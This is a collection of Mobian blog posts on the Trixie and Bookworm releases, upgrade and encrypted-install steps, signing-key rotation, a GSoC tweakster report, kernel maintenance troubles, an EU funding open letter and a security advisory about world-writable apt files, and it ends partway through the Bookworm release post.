Mobian's Blog

A new Stable, and rotating keys

Mon, 13 Oct 2025 12:00:00 +0000

A little more than 2 months after Debian, we’re finally releasing Mobian Trixie as our new stable release! We’re also taking this opportunity to start rotating the PGP/GPG keys we’re using for signing both our images and package archive.

Trixie has landed!

Over 2 years in the making, and with a small delay following the Debian release, we’re proud to finally announce Mobian Trixie has just been released and is therefore our new stable!

This release offers images based on Phosh 46.0 and Plasma Mobile 6.3, running a 6.12 kernel for almost all supported devices (the Librem 5 is still using a 6.6 kernel), the list of which is growing as we now provide stable images for the following phones and tablets:

PINE64 PinePhone, PinePhone Pro and PineTab
Purism Librem 5
Google Pixel 3a and 3a XL
OnePlus 6 and 6T
Xiaomi Pocophone F1

Trixie images are also available for the following devices, although important hardware features (such as e.g. WiFi or audio) are not working:

Fairphone 4 and 5
PINE64 PineTab 2
SHIFT6mq

Please check our installation instructions and download the image for your device.

Upgrade procedure

Although we do our best to provide a smooth upgrade path for each Mobian release, as a downstream Debian derivative, and the mobile software stack being a quickly moving target, major Mobian upgrades are usually trickier than we’d hoped for. This time is no exception, and therefore we highly recommend that you backup all your personal data, flash your device with a fresh Trixie image, then restore your files.

If you feel brave enough to go the “manual upgrade” route, here are a few tricks you should know:

keep your device plugged to a power source: such an upgrade can be a rather long process, you don’t want to run out of battery half-way there!
backup all your personal data
really, we mean it: backup all your personal data!
install openssh-server and execute the entire upgrade process over SSH (and preferrably using screen or a similar tool, so the upgrade can carry on even if the network connection is lost)
ensure your Bookworm installation is fully up-to-date; as the GPG key we use for signing the package repository has expired since the Bookworm release, you’ll probably need to run apt update && apt dist-upgrade at least twice: the first time it will update the Mobian keyring package, the second invocation will pull in the latest updates for Mobian-specific packages
reboot, then edit both /etc/apt/sources.list and /etc/apt/sources.list.d/mobian.list, replacing all occurences of bookworm with trixie in both files; you should then stop the greetd service (this will stop all running graphical applications, and is why SSH is needed!) and run apt update && apt dist-upgrade once again
write down the list of packages removed by apt dist-upgrade which start with mobian- as those will have to be reinstalled later on to restore full functionality of your device; please note that some packages have been renamed/replaced in Trixie, so it can be expected to see e.g. phog or pinephonepro-tweaks in the list of removed packages
reinstall all mobian-* packages removed in the previous step; this will remove pulseaudio from the system, which is to be expected as Mobian now relies on (and mandates the use of) PipeWire
run apt autoremove to clean up unneeded packages

FDE installs

Unfortunately, we haven’t been able to fix the issues preventing us from providing installer images for Trixie. However, you can still install Trixie with full disk encryption, even though the process is a tiny bit less user-friendly.

First, you’ll have to download (and unpack) or clone the mobian-recipes repository:

  git clone https://salsa.debian.org/Mobian-team/mobian-recipes.git -b mobian-trixie

Once this is complete, enter the mobian-recipes folder and:

install the required dependencies listed in the README.md file
execute the following command:

  ./build.sh -t <device> -c -R <password>

This will generate an encrypted image you can flash directly to your device and decrypt using the provided <password>. <device> can be one of the following:

amd64 for x86-64 computers
librem5 for the Purism Librem 5
rockchip for the PINE64 PinePhone Pro and PineTab 2
sc7280 for devices based on the Qualcomm SC7280 SoC (Fairphone 5)
sdm670 for devices based on the Qualcomm SDM670 SoC (Google Pixel 3a/3a XL)
sdm845 for devices based on the Qualcomm SDM845 SoC (OnePlus 6/6T, Pocophone F1, SHIFT6mq)
sm6350 for devices based on the Qualcomm SM6350 SoC (Fairphone 4)
sunxi for the PINE64 PinePhone and PineTab

Rotating GPG keys

We have been using a single GPG key since we first started to sign our images and package repositories. Replacing it has been on our roadmap for quite a while, but we needed to ensure our users would have a painless upgrade path.

We therefore decided to stick with the current key for Trixie (at least for now) and use new keys for the subsequent releases. As a matter of fact, we’ve created 4 new keys:

1 for each of the forky, staging and trixie package repositories
1 key (fingerprint 782C 6C58 B583 FE96 6CEE 44EB F8BD AB78 BEE2 46C2) will be dedicated to signing the images

Moreover, we’re now using a signing-only subkey rather than the main key, allowing the latter to be passphrase-protected. They’re being deployed according to the following agenda:

the forky package archive is already being signed with the corresponding key (fingerprint B174 17D5 C4B1 6F65 EE4F B75A 2DB8 7A16 935C 56F1)
the staging repository will switch to the new key (fingerprint 5F17 F59A 9615 87EA A5D1 1E44 A207 DED0 81BB FABF) once the updated mobian-archive-keyring package hits Debian testing, a few days from now
we haven’t decided when we’ll be using the trixie key (fingerprint 248C 06CE D075 774B FD69 9C09 E8B4 9A42 1214 09B5) for the corresponding archive; the only certainty is that we won’t deploy it before an updated version of mobian-archive-keyring is available in Debian stable
the images-signing key is in use since October 12th and has been used to sign the Trixie images

Should you encounter errors updating your Mobian packages, please ensure first that you have a recent enough version of the mobian-archive-keyring package (which is 20251011.0 at the time of this writing). If the problem persists, feel free to reach out on Matrix for additional help (please start by searching through the recent conversation history, as this issue may have been already discussed and solved).

Those keys can also be manually downloaded using the following link.

A Summer with Mobian: The Story of Tweakster (GSoC '25)

Sat, 23 Aug 2025 08:34:47 +0000

This summer, I had the incredible opportunity to work with the Mobian project for Google Summer of Code 2025. My goal was to continue the work on tweakster to a point where it could integrate smoothly with the Mobian ecosystem. This post is a summary of my work, the challenges I faced, and what’s next for tweakster.

The Root Problem

Since the start of Mobian in 2020, the goal has always been clear: have one bootable image for all kinds of non-x86 devices. That’s much harder than it sounds. There are subtle but crucial hardware differences across devices that require specific tweaks, making the mission of achieving a Universal Kernel on a system level very difficult.

Another pain point is the significant number of new non-x86 Linux-capable devices that have hit the market in the past few years, especially ARM64 laptops, mobile phones, and tablets. Maintaining a device-specific package for each one is impractical. It would take us far away from the “universal system” dream and make Mobian devs’ jobs even harder!

How It All Started

After a lot of thought from the team and my mentor, Arnaud (@a-wai), they came up with tweakster, the hero of our story. Simply put, tweakster is a system daemon that identifies the device it’s running on by checking the device-tree compatible property. It then determines the necessary tweaks by reading a pre-prepared config file, processes tweaks files, then creates symlinks to the resulting files into the system. The first attempt in 2022, packaged for Debian, saw some improvements over the years, leading to its latest form in 2024.

A Change in Plans

It turned out the first attempt was a bit over-engineered. It needed a complete refactoring, following the philosophy of starting simple and growing methodically. This is where I came in. Working hand-in-hand with my mentors, Arnaud (@a-wai) and Jarrah (@Undef), we forged the new vision of tweakster, so it will eventually make it easier to ship Mobian to new devices.

The new approach is simple: tweakster still performs device identification, but then it leverages Debian’s mature packaging system. It reads the device-specific config (using a completely new file format), copies the required tweaks into a newly created Debian package, and then builds and installs that package, cleaning temporary files afterwards. It is meant to be run as a systemd service, activated only on the first boot right after the kernel is running and the root filesystem is mounted. Once its job is done, it exits gracefully and rests forever.

Disasters All Around

That was the plan, anyway. But for someone coming from Windows to Ubuntu just a few weeks before GSoC (out of pure curiosity), setting up the development environment was a nightmare.

Dealing with Debian packaging tools in Ubuntu was a bit messy, especially dch, which for some reason was acting weirdly on VS Code (didn’t know about setting DEBFULLNAME, DEBEMAIL, EDITOR,… back then). I decided to shift to Debian Bookworm (the stable release at the time). Then I had the cool idea to develop purely in the terminal and throw VS Code in the trash. That solved the dch problem (temporarily), though I still had to set DEB* attributes anyway. But then I decided to go further: why not use a container to avoid messing up my system with development packages and keep everything tight?

Docker wasn’t for me, but I found out about LXC and got really excited. It turned out to be much harder than I thought. Setting up LXC network config and system-wide UID, GID mappings was a pain. Even user-level configuration was tricky, and permission problems were everywhere. After four days of wrestling with it, it finally worked!

But why stop there? The vim-memes are famous and the coolest engineers I knew at the time were using Vim/Neovim. So, I gave it a shot. Using a pre-configured Neovim setup wasn’t for me. I like to know my stuff deeply. I cloned the Neovim repo, built it from source, and configured it manually, learning the basics of Lua along the way. It was a struggle to get what was in my head onto the screen. I broke my config nearly 10 times (maybe even more!) before getting something I’m happy with. This detour took a full week.

Then came the main challenge: I had never written a line of Rust before. Coming from the C family, Rust’s syntax looked alien to me, but I had no choice: I had to learn it and get to work. And let’s not forget learning how to set up SSH and GPG keys for my very first commit and merge request. That was fun to learn!

The Main Course

All of that happened before GSoC coding officially started! During the coding period, with the incredible help of my mentors, I managed to get some cool stuff done.

In the tweakster repo:

Replace hardcoded tweaks path: A fun refactor using env vars to dynamically get the tweaks location. [merged]
Remove obsolete modules and introduce new config format: This was the main entry point for tweakster’s new vision, removing all old Rust modules and symlink logic, making way for the new config format. [merged]
Add file processing module: A module to handle all file operations from reading and parsing config to creating a list of package-related file paths. [under review]
Add packaging module: This piece takes the list of files generated by the file processing module and proceeds to create a package, copy files into it, build it, and finally install it on the system. [under review]
Packaging tweakster: An attempt to package tweakster itself as a Debian package, but it turned out there was a better way to do it. [closed]

In the tweaks-data repo (where all tweaks and device-configs live):

Remove obsolete config: A cleanup MR to remove old data and prepare for the new state. [merged]
Add common tweaks config and files: The first step to make tweaks-data compatible with the new tweakster. [merged]
Add PinePhone, PineTab, and Librem 5 config and files: The final step to make tweaks-data initially compatible with the new tweakster. [under review]

Is It in Its Finest Form?

Assuming the work under review gets merged, the current state of tweakster and tweaks-data is functional. But there is plenty of room for improvement! For example:

Improve the test suite by adding test cases for all new functionality.
Make tweakster set DEBFULLNAME to avoid using root as maintainer name when generating the package.
Improve error handling throughout the codebase.
Improve the current state of config validation to avoid eliminating files that hit the same dest but with different purposes.
Add a CLI option (–config-validate) for a dry run.
Add fallback functionality for tweakster to use common tweaks if no device-specific config is found.
Improve the README and documentation to help new contributors.
Package tweakster for Debian using debcargo-conf.
Make tweakster run on each boot and create a new version of the installed tweaks’ package if the configs and/or tweaks files have been updated.

…and even MORE! Anyone is more than welcome to contribute. Just drop a “Hi!” on #mobian-dev:matrix.org and people will happily help you get started, me included ;)

That’s It? That’s All You Got?

Besides all the technical stuff, I learned some soft skills I never would have otherwise. The most important lesson was learning to enjoy the process. During the first half of the journey, I was unnecessarily stressing myself out over nothing. That changed dramatically after I figured out that it’s totally fine to not know everything and that I was actually doing well. My mentors helped a lot with that, too.

A Round of Applause

I am incredibly thankful and grateful to my mentors for believing in me and giving me this opportunity to thrive.

A huge thank you to Jarrah (@Undef) for co-mentoring me and always being there. He helped me when I was stuck, offered fresh ideas, reviewed my code thoughtfully, and was always responsive in chat or meetings, no matter how naive my questions were.

And most especially, thank you to Arnaud Ferraris (@a-wai) for everything: for being there from the very beginning, laying the foundation of my understanding of tweakster and the Mobian project, how to communicate effectively, introducing me to the team, and helping me grow. He gave me the space and confidence to make mistakes and recover, and, most importantly, the courage to dig deeper into the world of Mobile Linux.

2025: off to a flying start!

Wed, 19 Feb 2025 00:00:00 +0000

Over the past few months, and especially since the last holiday season, many exciting things have happened in Mobian: new devices are (about to be) officially supported, many new and improved packages have made their way into both Debian and Mobian, and we’re getting ready for our next stable release!

Towards a “device-specific only” repository

Thanks to the involvement of upstream developers (by either accepting or writing patches to ensure their applications can be used on mobile devices) and the work of the relevant Debian teams, many GNOME and KDE apps were made adaptive and could be uploaded to the main Debian archive without any additional downstream patch.

This allowed us to drop (almost) all of the applications we were distributing through the Mobian package repository:

Evince has been replaced with Papers, Loupe is now used instead of EOG and our main camera app is now Snapshot, all available directly from Debian!
GNOME Text Editor now works well enough on mobile devices, as do Software and Settings

We plan on getting rid of the remaining few ones before the Trixie release:

Millipixels (Librem 5 camera app) will be replaced by Megapixels v2 once it hits the Debian archive
wake-mobile will likely be dropped as it’s no longer maintained, and upstream offers .deb packages for download anyway

Except for a patched version of GTK 3 which we will keep maintaining until Phosh is ported to GTK 4, this means all packages in the Mobian archive will be either Mobian-specific (mainly metapackages) or hardware support packages (kernels and device-specific tweaks).

A better tomorrow greeter

Another major milestone we’re about to reach is the move to a new default login screen: back in 2022, we decided that user session management on mobile devices shouldn’t get any special treatment, and we should rely on a “display manager” similar to GDM/LightDM/SDDM, for instance. This would bring many benefits, the most prominent ones being multi-user setups for those who need it (e.g. for handing out a personal device for others to try) and automatic keyring unlocking.

As no mobile-friendly greeter existed back then, we took a stab at hacking Phosh itself, as it provided almost everything we needed:

meant to run directly on top of a Wayland compositor
a lockscreen we could mutate into a login screen
touch input and on-screen keyboard management

After stripping it from a lot of its functionality and only keeping the core and lockscreen features, we came up with phog, which worked so well that we decided to make it part of Mobian (even though this was supposed to be a mere proof-of-concept), leaving cleanups and essential refactoring to a later point in time.

While this mostly worked out as expected, it proved to be a maintenance nightmare, and the combination of time and energy required for this much-needed refactoring was never found, leaving phog in a suboptimal state for the foreseeable future.

Thankfully, this effort inspired others, and @samcday decided to write a new greeter based on the same concepts, this time using unmodified Phosh code (by using its core functionality as a shared library) rather than hacking it to pieces. With the help of @agx, he ensured libphosh provided a usable and complete enough API, added Rust bindings on top of it and finally released Phrog 🐸.

Phrog is now part of Debian and will be used as our default greeter as soon as it migrates to the testing repository. This move should be more future-proof and further reduce our overall tech debt.

Supporting new devices in Mobian

On the topic of device-specific tweaks, we made huge progress on ensuring Qualcomm-based devices can be supported using only packages present in Debian. As a result, the only Mobian packages needed for those devices are effectively the kernels.

This could be achieved thanks to the combined efforts of many Mobian contributors, and involved the following tasks:

package essential userspace services for Debian (qbootctl, qrtr, hexagonrpc…) and get them to behave as expected, contributing our changes upstream
make existing tweaks as generic as possible and group them into the qcom-phone-utils Debian package
import small utilities such as bootmac and q6voiced into qcom-phone-utils, submitting upstream fixes and improvements in the process
improve droid-juicer and add configurations for new devices so we can keep not worrying about distributing proprietary firmware blobs

One of the most significant results of those efforts is of course that new devices are now supported in Mobian: the Fairphone 5 and Pixel 3a (XL), the latter having proved to be usable as a daily driver for several people, thanks to generally-working audio (including phone calls, if you’re lucky enough), a fairly good battery life and kinda-functioning cameras.

Another important improvement is that generating Mobian images for unsupported (for now) Qualcomm-based devices is now easier than it has ever been (as long as a mainline-based kernel exists for said devices): using the qcom-wip device type, one can “simply” drop the downstream kernel’s .deb package as well as a droid-juicer configuration file to the relevant folders and build the image, with decent chances that it will actually boot once flashed to the device.

More detailed instructions are being written and will hopefully be posted to the Debian Wiki in the near future.

On “universal” kernels

As you might remember, we aim for Mobian to ship universal images, that is, images that can run on all supported devices. This requires first having a “universal” kernel, holding all the patches needed for all supported devices. As this is way more complex than it may sound, we started by offering a single kernel for all Qualcomm-based devices.

However, when looking into adding support for SDM670-based devices (Pixel 3a), we faced the fact that some of the patches required for those would conflict with patches needed for SDM845-based devices. We then had to resolve to shipping a different kernel for the Pixel 3a, realizing that our plan to ship a unified kernel would be only get harder to implement as we would add support for more devices.

More recently, we found out that patches required for SC7280-based devices (Fairphone 5, and possibly the Nothing Phone in the near future) would break display support on SDM845 devices, and had to split SC7280 support into its own separate kernel, putting the final nail in the coffin of our “universal kernel” dream.

In the end, our formerly-generic qcom-linux kernel now only support SDM845 and SM6350 (Fairphone 4) devices, a situation only full upstreaming of device support will be able to improve over time.

What’s coming up next?

At this point, we’re already pretty happy with how things evolved throughout 2024 and in the first weeks of 2025. Our focus will now be on fixing as many bugs as possible in preparation for the Trixie release expected next summer.

Unfortunately, we barely made any progress on our 2024 roadmap items, but choices had to be made due to the (limited) bandwidth of our developers. This doesn’t mean we no longer have interest in those, but rather that we’ll likely address them only once we have the next stable release out.

On the plus side, Mobian will be participating in this year’s “Google Summer Of Code” through its parent project Debian. Our proposal, aimed at improving device tweaks management in Debian, has been approved and is only waiting for the right candidate(s), so feel free to drop us a line and/or join us on #mobian-dev:matrix.org if you’re interested!

Finally, several Mobian developers plan to attend DebConf ‘25 in Brest, France, spreading the Mobile Linux gospel to fellow Debian developers. Maybe we’ll get to meet some of you there as well?

The European Union must keep funding free software

Fri, 02 Aug 2024 01:17:30 +0200

Multiple Linux mobile related projects (such as e.g. postmarketOS or phosh) have benefited from the NGI funding.

The following is an open letter initially published in French by the Petites Singularités association. An english translation is provided by OW2. To co-sign it, please publish it on your website in your preferred language, then add yourself to this table.

Open Letter to the European Commission

Since 2020, Next Generation Internet (NGI) programmes, part of European Commission’s Horizon programme, fund free software in Europe using a cascade funding mechanism (see for example NLnet’s calls). This year, according to the Horizon Europe working draft detailing funding programmes for 2025, we notice that Next Generation Internet is not mentioned any more as part of Cluster 4.

NGI programmes have shown their strength and importance to supporting the European software infrastructure, as a generic funding instrument to fund digital commons and ensure their long-term sustainability. We find this transformation incomprehensible, moreover when NGI has proven efficient and economical to support free software as a whole, from the smallest to the most established initiatives. This ecosystem diversity backs the strength of European technological innovation, and maintaining the NGI initiative to provide structural support to software projects at the heart of worldwide innovation is key to enforce the sovereignty of a European infrastructure. Contrary to common perception, technical innovations often originate from European rather than North American programming communities, and are mostly initiated by small-scaled organizations.

Previous Cluster 4 allocated 27 million euros to:

“Human centric Internet aligned with values and principles commonly shared in Europe” ;
“A flourishing internet, based on common building blocks created within NGI, that enables better control of our digital life” ;
“A structured ecosystem of talented contributors driving the creation of new internet commons and the evolution of existing internet commons”.

In the name of these challenges, more than 500 projects received NGI funding in the first 5 years, backed by 18 organisations managing these European funding consortia.

NGI contributes to a vast ecosystem, as most of its budget is allocated to fund third parties by the means of open calls, to structure commons that cover the whole Internet scope

from hardware to application, operating systems, digital identities or data traffic supervision. This third-party funding is not renewed in the current program, leaving many projects short on resources for research and innovation in Europe.

Moreover, NGI allows exchanges and collaborations across all the Euro zone countries as well as “widening countries” ¹, currently both a success and an ongoing progress, likewise the Erasmus programme before us. NGI also contributes to opening and supporting longer relationships than strict project funding does. It encourages implementing projects funded as pilots, backing collaboration, identification and reuse of common elements across projects, interoperability in identification systems and beyond, and setting up development models that mix diverse scales and types of European funding schemes.

While the USA, China or Russia deploy huge public and private resources to develop software and infrastructure that massively capture private consumer data, the EU can’t afford this renunciation. Free and open source software, as supported by NGI since 2020, is by design the opposite of potential vectors for foreign interference. It lets us keep our data local and favors a community-wide economy and know-how, while allowing an international collaboration.

This is all the more essential in the current geopolitical context: the challenge of technological sovereignty is central, and free software allows to address it while acting for peace and sovereignty in the digital world as a whole.

As defined by Horizon Europe, widening Member States are Bulgaria, Croatia, Cyprus, the Czech Republic, Estonia, Greece, Hungary, Latvia, Lituania, Malta, Poland, Portugal, Romania, Slovakia and Slovenia. Widening associated countries (under condition of an association agreement) include Albania, Armenia, Bosnia, Feroe Islands, Georgia, Kosovo, Moldavia, Montenegro, Morocco, North Macedonia, Serbia, Tunisia, Turkey and Ukraine. Widening overseas regions are : Guadeloupe, French Guyana, Martinique, Reunion Island, Mayotte, Saint-Martin, The Azores, Madeira, the Canary Islands. ↩︎

Highlights of 2023

Sun, 14 Jan 2024 00:00:00 +0000

Time flies when you are having fun. 2023 was no exception, and we find ourselves in 2024 already! Time to take stock what happened last year (and perhaps also what we attempt to achieve this year).

Bookworm release

It is safe to say that the bookworm release was a major milestone for Mobian. For the first time, we have a stable release that we find to actually be useful on a mobile screen and phone. Putting out stable images was quite some work but we are proud of it.

We had decided to move on and focus on the next development cycle rather than starting to backporting features and releases. So bookworm continues to receive security updates, but no new features. Still, it might be a useful stable base for people who do not like to break their phone that often. By using flatpak and other means, one can even use actual releases of apps and not miss out on the latest hotness.

App ecosystem

The ecosystem of applications suitable for mobile screen continued to grow in 2023, filling many important functionality gaps. That includes core GNOME apps included in the distribution that became ported to work better on small screens, to an external ecosystem of applications that can be installed via flatpak or other means. Whether you want to track your jogging tracks, travel via public transportation, or toot on social media, many puzzle pieces start to fall into place.

https://linuxphoneapps.org/ gives you a great overview of what exists within and outside of distributions. (and yes, there is active Debianization of some apps going on, such as the “railway” application which went into Debian just now.

Shrinking Mobian

Despite all that growth we managed to shrink the packages that are in the mobian repository even more over time. As you know, Mobian is nothing but a thin overlay over stock Debian (the regular Debian repository with its updates is a core pillar of Mobian), and it is declared goal of Mobian to abolish itself by upstreaming all deviations and changes to Debian proper.

This work has continued in 2023, and many of the Mobian developers are also official Debian developers and maintainers, continuing to maintain packages in Debian.

While we might never manage to cease to exist, we are making sure that Mobian is as slim as possible and as aligned to Debian and its core values as possible.

FOSDEM 2023 & Distro Collaborations

The biggest true community event in the FOSS world is undoubtedly FOSDEM, and we were very much present there in 2023. It was the first time that many developers got to see each other for the first time. Nothing bonds as much as the collaborative intake of beverages of ones choice.

Also, we had a very successful developer room on “FOSS on Mobile devices” which showed the incredible interest in topics close to our heart. In 2024, there will even be a full-day developer room on the same topic, check the schedule in case you are interested.

Another thing happening at FOSDEM is that Mobian people got to know developers of other projects much better. Notably, meeting people working on PureOS (and Purism support) as well as postmarketOS developers was quite interesting and fun. This led to collaboration and friendship. And hey, Mobian developers were extensively featured in a postmarketOS podcast episode if you need any audible proof of that! We also shared a stand with many other distros and way too many devices on too little cramped space. The resulting mayhem was messy, creative and fun and we were overwhelmed by the interest of the FOSDEM public. It very much showed how many ~~competing~~ organizations can work together to achieve a common goal.

Perhaps this is the right time to give a shoutout to PureOS and pmOS anyway, these people are helping to push towards a common (public) good. PureOS publishes its patches on top of upstream projects in a format that allows others to easily adopt them and actively pushes changes upstream. pmOS is super helpful with a “fix upstream first” attitude, so that everyone benefits from fixes. We hope to continue to have such a great time with our “competition”.

Environment friendly

While phosh and many of the GNOME ecosystem applications are the default environment that we rely on, we would like to cater to fans of other environments as well. As such it is great to see that progress has been made for both the Plasma Mobile and SXMO packaging. With support of other Debian developers, both environments are usable and selectible from the login screen in Mobian. There are still rough edges, but we are slowly getting there.

Fresh kernels!

We managed to rebase the kernel for our supported hardware to Linux 6.6 in Trixie. This was not an easy task, giving all the ongoing work. Especially on sunxi64 (the OG pinephone kernel) it needed lots of work. Shoutout to Andrey Skvortsov for his efforts!

If you’re on staging you may have also noticed new kernels coming through much more regularly. After the 1000th time rebasing on an upstream stable release we decided that the mix of manual work and ad-hoc scripts we had should be made official, and where better than our own Mobot!

Now each upstream release is automatically downloaded, verified, patched and released directly to staging, allowing Mobian developers to focus on other things, like packaging applications and upstreaming these patches away.

2024 Roadmap

Now that we have looked at our accomplishements of the last year, it is worth peeking into our crystal ball to see what we would love to do in 2024. There is another release freeze looming at the end of 2024. So basically, what we achieve in 2024 will determine how Trixie is going to look like.

Some of the things we are aiming for are:

A runtime-based tweaks management

Which would allow us to use a unified image and packages for hardware with different requirements and configurations.
Get all device-agnostic packages into Debian (tweaks, meta…); use Debian kernel wherever possible

Reduce the mobian-specific footprint even more. This might not be feasible for the kernel of all hardware, but perhaps for some.
Improve upstream PipeWire & WirePlumber for call audio

Pipewire is the future and Wireplumber likely needs to do some of the things we have hacked up callaudiod for now.
More upstreaming of patches are eg. in the area of audio alsa UCM configs and kernel patches.
It would be awesome to create a single installer image for all Linux-first devices, so we don’t have to create installers for each device.
Lastly, the on-screen keyboard osk-sdl needs to be fully and cleanly replaced by unl0kr with a good transition path between these.

These are all lofty plans though, and will obviously depend on (wo)manpower, spare time and external factors and developments. So no guarantees will be made. One needs to have goals though…

Happy 2024 everyone, let’s keep rocking the thing!

The Paperweight Dilemma

Tue, 10 Oct 2023 00:00:00 +0000

Mobian started as a hobby project, triggered by the excitement of finally being able to hack one’s mobile phone at will. It is fair to say that the device that made it possible back then was the original PinePhone. However, after running once again into the same difficulties we experienced over and over, we’re wondering whether maintaining support for this device is still worth the effort…

Of kernels and men

In the beginning, the mobile Linux world was full of happy people, hacking on many different aspects of the system in a very disorganized but fruitful way, one of those aspects being the Linux kernel. Back then there was a single reference source tree, maintained under the PINE64 umbrella (but still being a community effort, no one being funded in any way to work on this kernel).

Things were obviously not ideal, however many talented people were talking to each other, trying to improve hardware support and fix the many bugs we were experiencing at this point. Until, I don’t quite remember how, it all turned into a race, in which the goal was to have better (or at least identical) support than the neighbouring projects.

In particular, one very skilled developer set to solve many of the problems we had back then, and published their work as a separate repo. Several mobile distributions quickly switched to this kernel, effectively abandoning the shared kernel source we were all using until then. This resulted in a loss of interest and, ultimately, collaboration on the kernel ceased: some ended up using megi’s kernel directly, while Mobian forked the “Pine64” one and cherry-picked interesting patches from megi’s tree, but it all happened without further cross-distro discussions.

Our single reference tree was then left rotting (the last kernel compatible with the PinePhone being based on 5.9, which was released nearly 3 years ago!) and unmaintained since then.

A single point of failure

The end result can be summed up as follows:

those relying on megi’s kernel depend on them to update and/or improve it
Mobian carries a bunch of patches we don’t really understand, some of those being dirty hacks just good enough to “make things work”

So basically, the whole community set up a single point of failure when it comes to the original PinePhone’s kernel. To be fair, this didn’t happen overnight, and we could have taken different decisions at various moments, leading to a better situation. megi also never asked for this responsibility, nor did they ever commit to ensuring long-term support for the whole community.

On the Mobian side, we did (and still do) our best to maintain our own kernel and rebase the patches we carry on (at least) each LTS release. This proved to be a complex task, and we repeatedly ran into the same issues over and over again:

some patches wouldn’t apply at all due to major upstream changes
once all patches applied cleanly, the resulting kernel couldn’t be built anymore due to internal API changes
simple, dirty hacks would stop solving the problem they were meant to fix (and sometimes ended up creating whole new issues)

We usually ended up browsing through megi’s git history, finding a new (or modified) patch fixing the problem for us, further increasing our dependency on a single person.

The “mainline-based kernel” myth

So, what does “mainline-based” really mean? In our community, that’s a kernel carrying a reasonable amount of patches (with no clear definition of this reasonable amount) and based on a recent enough upstream kernel (usually that means “not older than the latest LTS version”).

Contrary to Android vendor kernels, they can be relatively easily updated to the newest kernel releases, but like all downstream forks, this can only be done manually by someone with enough skills to complete this task.

As such, a mainline-based kernel doesn’t provide any more guarantee than any other downstream fork of any project, certainly not the guarantee that it will always be updated to the latest stable and/or LTS kernel. This guarantee can only be obtained by fully upstreaming hardware support, and it still requires some maintenance effort, even if this effort is significantly reduced.

Upstreaming patches require 3 elements:

the interest to push patches there
the skills to understand the patch(es) one is upstreaming, so they can address the comments and requests for improvements they receive after posting the patches
the time to rebase the patches on top of the latest upstream commit, prepare the submission and engage in constructive discussions with the reviewers

When it comes to the original PinePhone, the upstreaming effort has pretty much completely stalled by now, as it seems no one in our community possesses all of those elements.

Giving up?

megi’s recent decision of shutting down their GitHub account and blocking pulls from their self-hosted git repos has made our work more difficult; we’re also becoming more and more tired of “losing” our time in those endless kernel upgrades for this particular device.

As of today, it appears very few of the Mobian developers are willing to keep maintaining our sunxi64-linux kernel, meaning it could be stuck on the 6.1 branch forever.

We are therefore considering dropping support for both the original PinePhone and PineTab once the current kernel branch reaches end-of-life, ultimately turning those devices into high-tech paperweights.

No decision has been made yet, but this matter is being actively discussed. Even if a Mobian contributor were to commit to maintaining this kernel (which still seems very likely at this point), we would once again be relying on a single person and support for those devices should still be considered in “life support” state. That is, unless there is a larger-scale, community-wide effort to upstream more (most?) of the required patches…

Appendix I: We hold no grudge

While megi has been mentioned numerous times in this post, we don’t hold any grudge against them: they already did a lot to help all of us. They should actually be thanked for that, and we have to respect every single decision they made, even those that made us uncomfortable. They never had any obligation towards this community, and did way more than they had to.

One could argue that the community at large is responsible for not attempting to upstream more and instead “simply” accepting the fact that the bus factor for the hardware support on a couple devices equals one. And we would be to blame as well, as the choices we made were equally bad.

Appendix II: What about other devices?

We do hope this scenario won’t repeat for other devices, and have good reasons to keep hoping: apart from Rockchip-based devices (PinePhone Pro and PineTab 2), the kernels we ship are maintained by multiple-persons communities and/or developers whose work is backed and funded by their employer. Those developers also have a strong interest in upstreaming their work and demonstrated both their ability to do so over the past months/years. As long as they keep up their great work, upstream support for those devices will only improve over time, ensuring we can still use the latest kernels for those.

Our kernel for Rockchip devices includes fewer patches than the PinePhone one, and patches we mostly understand and can rework if needed (and maybe even submit upstream!). The PinePhone Pro also triggered more interest across various communities than its predecessor, leading to more developers actively trying to upstream support for this device (the libcamera developers, for example, having done a great job at improving drivers for the camera sensors).

As a consequence, we do believe and hope the issues we’re facing with the original PinePhone can be avoided for other devices, provided the community as a whole keeps working towards better upstream support for all mobile devices.

Mobian Security Update #1

Thu, 31 Aug 2023 02:00:00 +0000

The Mobian Team have recently released a security update fixing a local vulnerability caused by a bug in our Bookworm images.

User Action Required

Mobian users must install the following package in order to address the issues described in this post. A normal upgrade which can be done using sudo apt update && sudo apt upgrade or via Gnome Software will take care of this.

For Bookworm users:
- mobian-tweaks-common, version 0.5.6+deb12u1
For Trixie and Staging users:
- mobian-tweaks-common, version 0.5.9

These packages include an install script which fixes the permissions on the effected files. They are currently in the staging and bookworm-updates repositories and will migrate to trixie and bookworm in the coming week.

Summary

The Bookworm images released earlier this year had a small number of files with global write permissions. As two of these files manage the configuration of the apt package manager, they provide an attacker with a useful privilege escalation method.

This issue seems to only affect the released Bookworm images, though a full audit of weekly images has not been undertaken. Users who installed on Trixie were likely never effected.

Impact

These files could allow a local user to gain root access to the device by modifying them and waiting for the user to install an attacker provided update. This attack would require access to an unlocked or otherwise already compromised device as a standard user.

There is no way to carry this attack out remotely or on a locked device.

Indicators of Compromise

Users can verify the current configuration of their system by checking the relevant files. Changes to these files to not immediately mean the device has been compromised, but may warrant further investigation.

/etc/apt/sources.list.d/mobian.list should contain (potentially with a different distribution):

deb http://repo.mobian.org/ <distribution> main non-free-firmware

/etc/apt/trusted.gpg.d/mobian.gpg can be verified using the command shasum -c checksum.txt aganist the following checksum file:

4ab90ff82a88f11f681e5e857503833eb2108c9a77edaa9f64b7648c1b91c60a  /etc/apt/trusted.gpg.d/mobian.gpg

Credit

Our thanks go to @Ove for discovering and reporting the issue.

The Bookworm has landed!

Sat, 10 Jun 2023 12:00:00 +0000

Debian has released “Bookworm” and so has Mobian!

According to schedule and on time Debian has managed to put out the Bookworm release. Congratulations! In step with that release, Mobian is herewith officially releasing its first stable release, codenamed … tadaa … “Bookworm”!

What does this mean?

A lot has happened since the release of the Mobian community edition PinePhone. But ever since its inception, Mobian has been tracking the testing repository of Debian. The previous release - Bullseye - was just not deemed suitable for mobile devices yet.

Fortunately, a lot has happened since then, and we can proudly claim that Debian Bookworm is the first release that we deem to be mobile-friendly enough. It is used as the base for our stable Mobian release.

This means that, from now on, you will have the choice between sticking with the first ever stable release or switching over to the next development “branch”.

Which release is the right one for me?

If you stick with Bookworm you will be getting a stable system, not in the sense of bug-free, never-crashing software (does that even exist?), but as a fixed set of software components that are known to work well together and don’t rely on undefined behavior. The only updates you will receive will be targeted ones, fixing either a major bug or a security vulnerability, and will be thoroughly tested to minimize the risk of regression.

